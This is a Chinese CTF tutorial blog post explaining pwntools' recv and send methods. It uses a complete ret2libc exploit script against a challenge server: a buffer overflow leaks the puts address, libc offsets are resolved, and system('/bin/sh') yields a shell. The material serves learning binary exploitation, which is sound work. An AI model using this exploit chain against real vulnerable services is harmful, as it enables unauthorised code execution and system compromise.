对pwntools之recv,send方法的理解

您所在的位置:网站首页 sent 用法 对pwntools之recv,send方法的理解

对pwntools之recv,send方法的理解

#对pwntools之recv,send方法的理解| 来源: 网络整理| 查看: 265

pwntools学习

一般在做pwn题,写利用脚本时,会用到recv,send等函数,之前我理解为什么send,不理解recv的作用,现在通过一道题目理解了。下面详细讲解下recv及send的作用。

remote(“一个域名或者ip地址”, 端口) 会连接到我们指定的地址及端口。 然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c)。remote对象主要用来进行对远程主机的输入输出。 主要方法有:

接收远端传回的数据 interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。 recv(numb=字节大小, timeout=default) : 接收指定字节数。 recvall() : 一直接收直到达到文件EOF。 recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。 recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。 recvrepeat(timeout=default) : 持续接收直到EOF或timeout。

类似于read的作用,读从远端输出的内容。

向远端发送数据 send(data) : 发送数据。 sendline(data) : 发送一行数据,相当于在数据末尾加\n。

类似于write的作用,向远端发送数据。

其实这里可以理解为:向远端send一些内容,然后远端返回一些内容,用recv接收。 下面用一个具体例子来进一步解释:

from pwn import * from LibcSearcher import LibcSearcher elf = ELF('./pwn2') r = remote("campus1.blue-whale.me", 9991) puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = 0x08048519 payload1 = 'a'*92+p32(puts_plt)+p32(main)+p32(puts_got) r.recvuntil("welcome to ROP world\n") ##只有接收了前边的输出,才能保证下边接收到的输出是puts_addr。如果没有这行代码,利用失败,因为下边recv()[0:4]接收的可能就是远端返回的其他输出数据,比如“welcome to ROP world\n”的前4个字节。 r.sendline(payload1) ## 向远端发送payload1,会得到远端响应,即put出put的地址 puts_addr=u32(r.recv()[0:4])## 用recv函数接收输出的put地址 libc=LibcSearcher("puts",puts_addr) libc_base = puts_addr-libc.dump('puts') sys_addr = libc_base+libc.dump('system') binsh_addr = libc_base+libc.dump('str_bin_sh') payload = 'a'*92+p32(sys_addr)+'bbbb'+p32(binsh_addr) r.sendline(payload) r.interactive()

由此可见,在写pwn题目利用脚本时,recv方法还是挺重要的,以前我没有理解它的作用,觉得可写可不写,确实有的题目不会影响利用脚本的结果,但是,写上会减少错误的发生。

参考

https://www.jianshu.com/p/8d6b605eb7fc



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3